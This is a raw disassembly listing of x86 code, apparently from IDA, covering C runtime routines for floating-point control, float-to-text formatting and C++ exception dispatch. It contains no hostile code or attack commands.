loc_421E61: ; CODE XREF: sub_421DAB+1Bj ; sub_421DAB+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_421DAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421E6C proc near ; CODE XREF: sub_42174C+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_421E6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421E7A proc near ; CODE XREF: sub_42174C+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_421E7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421E89 proc near ; CODE XREF: sub_41CCE5+13p ; sub_41CCE5+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_421E89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421EAC proc near ; CODE XREF: sub_4219FF+1Dp ; sub_4219FF+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_421EC3 fld tbyte_43FBA8 fistp [ebp+arg_0] wait loc_421EC3: ; CODE XREF: sub_421EAC+Bj test cl, 8 jz short loc_421ED8 fstsw ax fld tbyte_43FBA8 fstp [ebp+var_8] wait fstsw ax loc_421ED8: ; CODE XREF: sub_421EAC+1Aj test cl, 10h jz short loc_421EE7 fld tbyte_43FBB4 fstp [ebp+var_8] wait loc_421EE7: ; CODE XREF: sub_421EAC+2Fj test cl, 4 jz short loc_421EF5 fldz fld1 fdivrp st(1), st fstp st wait loc_421EF5: ; CODE XREF: sub_421EAC+3Ej test cl, 20h jz short locret_421F00 fldpi fstp [ebp+var_8] wait locret_421F00: ; CODE XREF: sub_421EAC+4Cj leave retn sub_421EAC endp ; =============== S U B R O U T I N E ======================================= sub_421F02 proc near ; CODE XREF: sub_41CDB4+Fp push 30000h push 10000h call sub_424725 pop ecx pop ecx retn sub_421F02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F14 proc near ; CODE XREF: sub_421F52:loc_421F76j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_428878 fstp [ebp+var_8] fld dbl_428870 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_428700 fnstsw ax sahf jbe short loc_421F4E push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_421F4E: ; CODE XREF: sub_421F14+33j xor eax, eax leave retn sub_421F14 endp ; =============== S U B R O U T I N E ======================================= sub_421F52 proc near ; CODE XREF: sub_41CDB4+5p push offset aKernel32 ; "KERNEL32" call dword_4280A4 ; GetModuleHandleA test eax, eax jz short loc_421F76 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call dword_4280C4 ; GetProcAddress test eax, eax jz short loc_421F76 push 0 call eax ; sub_41CDB4 retn ; --------------------------------------------------------------------------- loc_421F76: ; CODE XREF: sub_421F52+Dj ; sub_421F52+1Dj jmp sub_421F14 sub_421F52 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_421F7B proc near ; CODE XREF: sub_41FD3F+3CBp ; DATA XREF: sub_41CDCC+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41DDEC cmp eax, 65h pop ecx jz short loc_421FBB loc_421F8F: ; CODE XREF: sub_421F7B+3Ej inc esi cmp dword_43F824, 1 jle short loc_421FA8 movsx eax, byte ptr [esi] push 4 push eax call sub_41FBB5 pop ecx pop ecx jmp short loc_421FB7 ; --------------------------------------------------------------------------- loc_421FA8: ; CODE XREF: sub_421F7B+1Cj movsx eax, byte ptr [esi] mov ecx, off_43F618 mov al, [ecx+eax*2] and eax, 4 loc_421FB7: ; CODE XREF: sub_421F7B+2Bj test eax, eax jnz short loc_421F8F loc_421FBB: ; CODE XREF: sub_421F7B+12j mov cl, byte_43F828 mov al, [esi] mov [esi], cl inc esi loc_421FC6: ; CODE XREF: sub_421F7B+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_421FC6 pop esi retn sub_421F7B endp ; =============== S U B R O U T I N E ======================================= sub_421FD5 proc near ; CODE XREF: sub_41FD3F+3E2p ; DATA XREF: sub_41CDCC+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_43F828 mov cl, [eax] test cl, cl jz short loc_421FF1 loc_421FE5: ; CODE XREF: sub_421FD5+1Aj cmp cl, dl jz short loc_421FF1 mov cl, [eax+1] inc eax test cl, cl jnz short loc_421FE5 loc_421FF1: ; CODE XREF: sub_421FD5+Ej ; sub_421FD5+12j mov cl, [eax] inc eax test cl, cl jz short locret_422022 loc_421FF8: ; CODE XREF: sub_421FD5+34j mov cl, [eax] test cl, cl jz short loc_42200B cmp cl, 65h jz short loc_42200B cmp cl, 45h jz short loc_42200B inc eax jmp short loc_421FF8 ; --------------------------------------------------------------------------- loc_42200B: ; CODE XREF: sub_421FD5+27j ; sub_421FD5+2Cj ... mov ecx, eax loc_42200D: ; CODE XREF: sub_421FD5+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_42200D cmp [eax], dl jnz short loc_422018 dec eax loc_422018: ; CODE XREF: sub_421FD5+40j ; sub_421FD5+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_422018 locret_422022: ; CODE XREF: sub_421FD5+21j retn sub_421FD5 endp ; =============== S U B R O U T I N E ======================================= sub_422023 proc near ; DATA XREF: sub_41CDCC+28o ; .XPack0:off_43FBD0o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_428868 fnstsw ax sahf jb short loc_422038 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422038: ; CODE XREF: sub_422023+Fj xor eax, eax retn sub_422023 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42203B proc near ; CODE XREF: sub_420BB0+430p ; DATA XREF: sub_41CDCC+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_422064 lea eax, [ebp+var_8] push eax call sub_424BE8 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_422064: ; CODE XREF: sub_42203B+Cj lea eax, [ebp+arg_8] push eax call sub_424C15 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_42203B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422079 proc near ; CODE XREF: sub_4222F6+17p ; sub_422340+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4DE660, 0 push ebx push esi jz short loc_4220AE mov ebx, [ebp+arg_8] mov eax, dword_4DE65C xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_422391 pop ecx pop ecx jmp short loc_4220E6 ; --------------------------------------------------------------------------- loc_4220AE: ; CODE XREF: sub_422079+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_424CB9 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_424C42 add esp, 14h loc_4220E6: ; CODE XREF: sub_422079+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_4220F2 mov byte ptr [eax], 2Dh inc eax loc_4220F2: ; CODE XREF: sub_422079+73j test ebx, ebx jle short loc_42210A mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_43F828 mov eax, edi pop edi mov [eax], cl loc_42210A: ; CODE XREF: sub_422079+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4DE660, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41C520 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_422131 mov byte ptr [ecx], 45h loc_422131: ; CODE XREF: sub_422079+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_422176 mov ebx, [esi+4] dec ebx jns short loc_422145 neg ebx mov byte ptr [ecx], 2Dh loc_422145: ; CODE XREF: sub_422079+C5j inc ecx cmp ebx, 64h jl short loc_42215C mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_42215C: ; CODE XREF: sub_422079+D0j inc ecx cmp ebx, 0Ah jl short loc_422173 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_422173: ; CODE XREF: sub_422079+E7j add [ecx+1], bl loc_422176: ; CODE XREF: sub_422079+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_422079 endp ; =============== S U B R O U T I N E ======================================= sub_42217D proc near ; CODE XREF: sub_42231D+13p ; sub_422340+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4DE660, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_4221B8 mov eax, dword_4DE664 mov ebx, [esp+10h+arg_8] mov esi, dword_4DE65C cmp eax, ebx jnz short loc_4221E8 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_4221E8 ; --------------------------------------------------------------------------- loc_4221B8: ; CODE XREF: sub_42217D+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_424CB9 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_424C42 add esp, 14h loc_4221E8: ; CODE XREF: sub_42217D+22j ; sub_42217D+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_4221F6 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_4221F6: ; CODE XREF: sub_42217D+70j mov eax, [esi+4] test eax, eax jg short loc_42220D push 1 push edi call sub_422391 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_42220F ; --------------------------------------------------------------------------- loc_42220D: ; CODE XREF: sub_42217D+7Ej add edi, eax loc_42220F: ; CODE XREF: sub_42217D+8Ej test ebx, ebx jle short loc_422254 push 1 push edi call sub_422391 mov al, byte_43F828 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_422254 cmp byte_4DE660, 0 jz short loc_422239 neg esi jmp short loc_42223F ; --------------------------------------------------------------------------- loc_422239: ; CODE XREF: sub_42217D+B6j neg esi cmp ebx, esi jl short loc_422241 loc_42223F: ; CODE XREF: sub_42217D+BAj mov ebx, esi loc_422241: ; CODE XREF: sub_42217D+C0j push ebx push edi call sub_422391 push ebx push 30h push edi call sub_41BC00 add esp, 14h loc_422254: ; CODE XREF: sub_42217D+94j ; sub_42217D+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_42217D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42225B proc near ; CODE XREF: sub_422340+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_424CB9 mov dword_4DE65C, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4DE664, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_424C42 mov eax, dword_4DE65C add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4DE664, ecx setl cl mov byte_4DE668, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4DE664, eax jl short loc_4222E1 cmp eax, ebx jge short loc_4222E1 test cl, cl jz short loc_4222D2 loc_4222C8: ; CODE XREF: sub_42225B+72j mov al, [esi] inc esi test al, al jnz short loc_4222C8 and [esi-2], al loc_4222D2: ; CODE XREF: sub_42225B+6Bj push ebx push [ebp+arg_4] push edi call sub_42231D add esp, 0Ch jmp short loc_4222F1 ; --------------------------------------------------------------------------- loc_4222E1: ; CODE XREF: sub_42225B+63j ; sub_42225B+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_4222F6 add esp, 10h loc_4222F1: ; CODE XREF: sub_42225B+84j pop edi pop esi pop ebx pop ebp retn sub_42225B endp ; =============== S U B R O U T I N E ======================================= sub_4222F6 proc near ; CODE XREF: sub_42225B+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4DE660, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_422079 and byte_4DE660, 0 add esp, 10h retn sub_4222F6 endp ; =============== S U B R O U T I N E ======================================= sub_42231D proc near ; CODE XREF: sub_42225B+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4DE660, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_42217D and byte_4DE660, 0 add esp, 0Ch retn sub_42231D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422340 proc near ; CODE XREF: sub_41FD3F+3AAp ; DATA XREF: sub_41CDCCo ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_42237B cmp [ebp+arg_8], 45h jz short loc_42237B cmp [ebp+arg_8], 66h jnz short loc_422368 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_42217D add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_422368: ; CODE XREF: sub_422340+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_42225B jmp short loc_42238C ; --------------------------------------------------------------------------- loc_42237B: ; CODE XREF: sub_422340+7j ; sub_422340+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_422079 loc_42238C: ; CODE XREF: sub_422340+39j add esp, 10h pop ebp retn sub_422340 endp ; =============== S U B R O U T I N E ======================================= sub_422391 proc near ; CODE XREF: sub_422079+2Cp ; sub_42217D+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_4223B4 push esi mov esi, [esp+8+arg_0] push esi call sub_41B650 inc eax push eax push esi add esi, edi push esi call sub_41D300 add esp, 10h pop esi loc_4223B4: ; CODE XREF: sub_422391+7j pop edi retn sub_422391 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4223B6 proc near ; CODE XREF: .XPack0:0041CFACp ; sub_41D015+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_4223CC call sub_422C52 loc_4223CC: ; CODE XREF: sub_4223B6+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_4223F4 cmp dword ptr [esi+4], 0 jz short loc_42244A cmp [ebp+arg_14], 0 jnz short loc_42244A push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_4226FD add esp, 10h jmp short loc_42244A ; --------------------------------------------------------------------------- loc_4223F4: ; CODE XREF: sub_4223B6+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_42244A cmp dword ptr [eax], 0E06D7363h jnz short loc_42242E cmp [eax+14h], edi jbe short loc_42242E mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_42242E movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_42244D ; --------------------------------------------------------------------------- loc_42242E: ; CODE XREF: sub_4223B6+4Aj ; sub_4223B6+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_422451 add esp, 20h loc_42244A: ; CODE XREF: sub_4223B6+23j ; sub_4223B6+29j ... push 1 pop eax loc_42244D: ; CODE XREF: sub_4223B6+76j pop edi pop esi pop ebp retn sub_4223B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422451 proc near ; CODE XREF: sub_4223B6+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_422471 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_422476 loc_422471: ; CODE XREF: sub_422451+16j call sub_422C52 loc_422476: ; CODE XREF: sub_422451+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_4225CD cmp dword ptr [esi+10h], 3 jnz short loc_4224EA cmp [esi+14h], edi jnz short loc_4224EA cmp dword ptr [esi+1Ch], 0 jnz short loc_4224EA mov esi, dword_4DE66C test esi, esi jz loc_4225C8 mov eax, dword_4DE670 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_424E40 pop ecx test eax, eax pop ecx jnz short loc_4224CC call sub_422C52 loc_4224CC: ; CODE XREF: sub_422451+74j cmp [esi], ebx jnz loc_4225CD cmp dword ptr [esi+10h], 3 jnz short loc_4224EA cmp [esi+14h], edi jnz short loc_4224EA cmp dword ptr [esi+1Ch], 0 jnz short loc_4224EA call sub_422C52 loc_4224EA: ; CODE XREF: sub_422451+41j ; sub_422451+46j ... cmp [esi], ebx jnz loc_4225CD cmp dword ptr [esi+10h], 3 jnz loc_4225CD cmp [esi+14h], edi jnz loc_4225CD mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41D163 add esp, 14h mov ebx, eax loc_422521: ; CODE XREF: sub_422451+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_4225B8 cmp [ebx], edi jg short loc_4225AD cmp edi, [ebx+4] jg short loc_4225AD mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_4225AA loc_422546: ; CODE XREF: sub_422451+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_422577 loc_422558: ; CODE XREF: sub_422451+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_4226A0 add esp, 0Ch test eax, eax jnz short loc_422586 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_422558 loc_422577: ; CODE XREF: sub_422451+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_422546 jmp short loc_4225AA ; --------------------------------------------------------------------------- loc_422586: ; CODE XREF: sub_422451+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_4227B1 add esp, 2Ch loc_4225AA: ; CODE XREF: sub_422451+F3j ; sub_422451+133j mov edi, [ebp+var_10] loc_4225AD: ; CODE XREF: sub_422451+DEj ; sub_422451+E3j inc [ebp+var_4] add ebx, 14h jmp loc_422521 ; --------------------------------------------------------------------------- loc_4225B8: ; CODE XREF: sub_422451+D6j cmp [ebp+arg_14], 0 jz short loc_4225C8 push 1 push esi call sub_422B26 pop ecx pop ecx loc_4225C8: ; CODE XREF: sub_422451+56j ; sub_422451+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4225CD: ; CODE XREF: sub_422451+37j ; sub_422451+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_4225F3 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_4225F8 add esp, 20h jmp short loc_4225C8 ; --------------------------------------------------------------------------- loc_4225F3: ; CODE XREF: sub_422451+180j jmp sub_422BFC sub_422451 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4225F8 proc near ; CODE XREF: sub_422451+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4DE674, 0 push esi push edi jz short loc_422629 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41D03A add esp, 1Ch test eax, eax jnz short loc_42269C loc_422629: ; CODE XREF: sub_4225F8+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41D163 add esp, 14h mov esi, eax loc_422645: ; CODE XREF: sub_4225F8+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_42269C cmp edi, [esi] jl short loc_422694 cmp edi, [esi+4] jg short loc_422694 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_42266E cmp byte ptr [ecx+8], 0 jnz short loc_422694 loc_42266E: ; CODE XREF: sub_4225F8+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4227B1 add esp, 2Ch loc_422694: ; CODE XREF: sub_4225F8+57j ; sub_4225F8+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_422645 ; --------------------------------------------------------------------------- loc_42269C: ; CODE XREF: sub_4225F8+2Fj ; sub_4225F8+53j pop edi pop esi leave retn sub_4225F8 endp ; =============== S U B R O U T I N E ======================================= sub_4226A0 proc near ; CODE XREF: sub_422451+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_4226F7 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_4226F7 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_4226D1 add ecx, 8 push ecx push edx call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_4226F3 loc_4226D1: ; CODE XREF: sub_4226A0+1Fj test byte ptr [esi], 2 jz short loc_4226DB test byte ptr [edi], 8 jz short loc_4226F3 loc_4226DB: ; CODE XREF: sub_4226A0+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_4226EA test byte ptr [edi], 1 jz short loc_4226F3 loc_4226EA: ; CODE XREF: sub_4226A0+43j test al, 2 jz short loc_4226F7 test byte ptr [edi], 2 jnz short loc_4226F7 loc_4226F3: ; CODE XREF: sub_4226A0+2Fj ; sub_4226A0+39j ... xor eax, eax jmp short loc_4226FA ; --------------------------------------------------------------------------- loc_4226F7: ; CODE XREF: sub_4226A0+Bj ; sub_4226A0+14j ... push 1 pop eax loc_4226FA: ; CODE XREF: sub_4226A0+55j pop edi pop esi retn sub_4226A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4226FD proc near ; CODE XREF: sub_4223B6+34p ; sub_4227B1+42p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4288B0 push offset sub_423B80 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_42272F: ; CODE XREF: sub_4226FD+8Aj cmp esi, [ebp+arg_C] jz short loc_422789 cmp esi, 0FFFFFFFFh jle short loc_42273E cmp esi, [edi+4] jl short loc_422743 loc_42273E: ; CODE XREF: sub_4226FD+3Aj call sub_422C52 loc_422743: ; CODE XREF: sub_4226FD+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_42275E push 103h push ebx push eax call sub_422BB0 loc_42275E: ; CODE XREF: sub_4226FD+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_42277E ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_42279B pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_42277E: ; CODE XREF: sub_4226FD+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_42272F ; --------------------------------------------------------------------------- loc_422789: ; CODE XREF: sub_4226FD+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4226FD endp ; =============== S U B R O U T I N E ======================================= sub_42279B proc near ; CODE XREF: sub_4226FD+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_4227AC xor eax, eax retn ; --------------------------------------------------------------------------- loc_4227AC: ; CODE XREF: sub_42279B+Cj jmp sub_422BFC sub_42279B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4227B1 proc near ; CODE XREF: sub_422451+151p ; sub_4225F8+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_4227D3 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_422962 add esp, 10h loc_4227D3: ; CODE XREF: sub_4227B1+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_4227DF push edi jmp short loc_4227E2 ; --------------------------------------------------------------------------- loc_4227DF: ; CODE XREF: sub_4227B1+29j push [ebp+arg_24] loc_4227E2: ; CODE XREF: sub_4227B1+2Cj call sub_41CF3C mov esi, [ebp+arg_1C] push dword ptr [esi] push [ebp+arg_10] push [ebp+arg_C] push edi call sub_4226FD mov eax, [esi+4] push 100h push [ebp+arg_20] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push [ebp+arg_10] push [ebp+arg_8] push edi push [ebp+arg_0] call sub_42282C add esp, 2Ch test eax, eax jz short loc_422827 push edi push eax call sub_41CEFA loc_422827: ; CODE XREF: sub_4227B1+6Dj pop edi pop esi pop ebx pop ebp retn 